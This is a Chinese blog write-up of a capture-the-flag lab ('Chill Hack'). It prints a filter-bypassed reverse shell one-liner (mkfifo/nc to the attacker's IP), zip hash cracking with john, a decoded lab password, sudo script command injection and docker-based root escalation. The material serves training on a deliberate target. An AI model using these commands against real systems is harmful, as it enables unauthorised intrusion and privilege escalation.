不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

CTF之一次曲折获取Flag的过程

Hello各位朋友们,我是小杰,今天我们继续CTF之旅。
好,直接步入正题,先看看这次的题目描述。

通过题目描述,是有一个什么鬼机器人,能和世界进行交流巴拉巴拉……初步确定是需要获取两个Flag,题目的关键字是“枚举”。
好的,打开靶标系统~

映入眼帘的就是这个CHILL HACK的字样,还有一个“骷髅头”。下边有一处登陆系统的地方。
很好,打开我们的“hack”机器——Kali2020。(这里为什么不用忍者系统一会儿说明。)

首先确定我们攻击机的IP地址:192.168.187.130

进行网段扫描,确认靶机的IP为192.168.187.137

可以看到靶机系统开放了21、22、80三个端口。
我们先访问80瞅瞅~

界面花里胡哨的图片,随便浏览了几下发现是一个纯静态站点,搜索框什么的都是假的,似乎没什么好利用的。

接下来去看看21端口。 图片

嗯,有一个txt文件,打开看看

图片

这里有一个叫“Apaar”的用户给了这么一句提示,大概意思说“Anurodh”用户说命令中会有一些过滤,可能和命令执行有关,这里先记下来,后面可能会用到

继续浏览没什么发现了,扫扫目录看看。

图片

这里看看有一个secret文件夹,我们去浏览器中查看一番。

是一个执行命令的地方。

图片

结合我们之前得到的信息,命令执行会被过滤,这里应该就是让我们绕过拦截了。

先执行几下看看。

图片

执行ls、cat、less、more等等命令都会弹出“Are you a hacker?”

经过多次尝试,我发现执行tac可以绕过检测。

tac index.php

图片

查看页面源代码

图片

果然是有过滤,这里的代码是把我们输入的命令按照空格间隔开,之后进行匹配,这里直接命令执行绕过getshell。

我这里使用nc进行getshell。

Kali进行监听

nc -lvp 6666

图片

靶机执行命令,反弹shell

这里利用Linux下nc命令执行反弹shell的方式

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.130 6666 >/tmp/f

图片

nice图片,这里我们已经getshell,看看权限。
图片我们获取的是用户www-data的权限,等级较低,考虑到后续的操作,这里进行提权。刚刚在网页中测试时,我们看到靶机上是装有python的,所以这里使用python进行提权。

python3 -c "import pty;pty.spawn('/bin/bash')"


图片

ok,提权成功,接下来浏览浏览目录。看看能不能直接找到Flag图片

Flag没找到,不过看到一个hacker.php的文件很可疑

图片

输出看看

图片

黑客:你竟然已经走到这一步了!看着这片黑暗,你将会找到答案…….(出题的作者中二病犯了图片,有我当年风范图片)啊哈哈哈….

<html><head> <body> <style>body {   background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif'); } h2 {         color:red;         font-weight: bold; } h1 {         color: yellow;         font-weight: bold; } </style> <center>         <img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>         <h1 style="background-color:red;">You have reached this far. </h2>         <h1 style="background-color:black;">Look in the dark! You will find your answer</h1> </center> </head> </html>

代码中这个图片的名字叫法外加神神叨叨的这段话,估计是CTF中的隐写术了。

我淦!我不会隐写术啊图片

图片

网上查了查资料,貌似有一款隐写的工具可以破解利用一下。

那就先下载到本地看看吧图片

在靶机利用python启动一个web服务器(在images目录下启动)

python3 -m http.server 8080

图片

在Kali上进行下载

wget http://192.168.187.137:8080/hacker-with-laptop_23-2147985341.jpg

图片

这里用到的隐写破解工具是steghide

具体使用方法可以在官网查看http://steghide.sourceforge.net/

好,拿着工具干它一波图片

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

图片

nice,提取出了图片中隐藏的压缩文件backup.zip

解压缩,发现需要解压密码…… 图片

彳亍口巴,祭出神器——开膛手约翰(john)

图片

john是Sectools排行榜上前十的密码破解工具,功能十分强大。

这里我也要顺便说一下为啥这次不用忍者的原因,忍者上没有集成john和steghide,再安装的话过于耗费时间,还有就是忍者需要的电脑资源实在是太大了,16G内存的我有点吃不消图片

有的大佬会说hashcat也可以破解,忍者上是有hashcat的,不过我玩的不熟练,索性就直接kali一步到位了图片

图片

好了,废话不多说,继续。

先生成hash文件。

zip2john backup.zip > backup.hash

图片

john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash john backup.hash --show 

使用john加载本地字典进行破解,这里破解成功,显示密码为pass1word

图片

接下来进行文件解压,查看解压的文件内容

图片

<html> <head>         Admin Portal </head>         <title> Site Under Development ... </title>         <body>                 <form method="POST">                         Username: <input type="text" name="name" placeholder="username"><br><br>                         Email: <input type="email" name="email" placeholder="email"><br><br>                         Password: <input type="password" name="password" placeholder="password">                         <input type="submit" name="submit" value="Submit">                  </form> <?php         if(isset($_POST['submit']))         {                 $email = $_POST["email"];                 $password = $_POST["password"];                 if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")                 {                          $random = rand(1000,9999);?><br><br><br>                         <form method="POST">                                 Enter the OTP: <input type="number" name="otp">                                 <input type="submit" name="submitOtp" value="Submit">                         </form>                 <?php   mail($email,"OTP for authentication",$random);                         if(isset($_POST["submitOtp"]))                                 {                                         $otp = $_POST["otp"];                                         if($otp == $random)                                         {                                                 echo "Welcome Anurodh!";                                                 header("Location: authenticated.php");                                         }                                         else                                         {                                                 echo "Invalid OTP";                                         }                                 }                 }                 else                 {                         echo "Invalid Username or Password";                 }         } ?> </html>

阅读代码,看到一处使用base64加密的地方,解密看一下。

解密得到密码

!d0ntKn0wmYp@ssw0rd

登陆密码拿到手了,开始找账户进行登陆,最终在home目录下看到三个用户

是不是很眼熟,前两个用户就是我们刚开始通过ftp获得到的那个文本文件中的两个用户。

拿着我们刚刚获取到的账号密码,尝试ssh登陆,经测试发现anurodh是可以登陆的。

ssh anurodh@192.168.187.137

使用sudo -l查看sudo的权限,发现可以使用apaar身份执行一个脚本文件

sudo -l

继续~

apaar目录是可以进入的,不过里面的local.txt文件不可以读取

查看执行权限,读取隐藏文件helpline.sh

观察发现,msg这个地方是存在命令执行的

我们可以切换到apaar身份去执行输出local.txt的内容

sudo -u apaar ./.helpline.sh

果不其然,拿到了第一个Flag

ok,继续。

查看anurodh用户信息

发现有docker组

尝试列出本地镜像

docker images -a

既然有本地docker镜像,那就尝试docker提权

docker run -v /:/mnt  -it alpine

提权成功,ok,继续搜索关键文件

输出proof.txt

来源:小杰安全

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » CTF之一次曲折获取Flag的过程

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏